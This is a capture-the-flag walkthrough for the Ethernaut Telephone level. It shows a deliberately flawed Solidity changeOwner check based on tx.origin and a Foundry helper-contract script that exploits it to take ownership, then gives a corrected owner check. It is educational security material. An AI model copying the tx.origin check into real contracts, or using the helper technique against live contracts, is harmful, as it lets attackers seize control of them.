Ethernaut Telephone Solution: Foundry Walkthrough

Trace tx.origin and msg.sender, then claim Telephone ownership through a helper contract.

In Ethernaut level 4, Telephone, the goal is to change the owner by making tx.origin differ from msg.sender. We'll use a Foundry script in the SCH CTF Arena to call through a helper while assigning ownership to the player.

Ethernaut series Level 04 · Telephone

Contract overview

The constructor assigns the deployer to owner. The only function that changes it is:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}

There is no check that the caller is the existing owner. The assignment depends only on whether the two caller identities differ.

Why a direct call does nothing

msg.sender is the immediate caller of the current call. tx.origin is the address that originated the transaction. For this level's ordinary player transaction, a direct call makes both equal to the player, so the condition is false.

The function does not revert in that case. It finishes without changing ownership. A successful transaction alone therefore does not prove the level is solved.

A helper adds a contract call between the player and Telephone:

Call reaching Telephone Transaction origin Immediate caller Ownership changes?
Player calls Telephone directly Player Player No
Player deploys a helper whose constructor calls Telephone Player Helper Yes

The second path satisfies the condition. The new owner comes from the _owner argument, so pass the player address rather than the helper's address.

Call through a helper

When the checker is unlocked, replace the starter with this helper and function. The Arena supplies telephoneInstance, the player identity, imports, and the outer wrapper:

contract TelephoneCaller {
    constructor(Telephone target, address newOwner) {
        target.changeOwner(newOwner);
    }
}

function run() external {
    vm.startBroadcast(PLAYER_PRIVATE_KEY);

    new TelephoneCaller(telephoneInstance, PLAYER_ADDRESS);

    vm.stopBroadcast();
}

During construction, the helper calls Telephone with its own address as msg.sender. The constructor runs in the player's transaction, so tx.origin remains the player. No ETH payment is needed.

Verify ownership

Check answer deploys a fresh Telephone instance and verifies target.owner() == player().

Passing local Foundry verification of the Telephone helper-contract solution. The Foundry verifier checks ownership, not just whether the call succeeded.

If the owner is unchanged, check that the helper made the call. If the helper became owner, the wrong address was passed to changeOwner().

Watch Johnny's walkthrough

Ethernaut Telephone solution with JohnnyTime

Watch on YouTube if the embedded player is unavailable.

Authorize the immediate caller

A check that distinguishes a wallet from a helper does not establish who may change ownership. For a directly deployed contract with an existing owner, the relevant condition is:

function changeOwner(address newOwner) external {
    require(msg.sender == owner, "Only owner");
    require(newOwner != address(0), "Zero owner");
    owner = newOwner;
}

The Solidity security guidance warns against authorizing with tx.origin. Meta-transactions need an explicit trusted-forwarder design rather than a transaction-origin comparison.

Challenge source: OpenZeppelin Ethernaut Telephone. Continue to Token or solve Telephone in the Arena.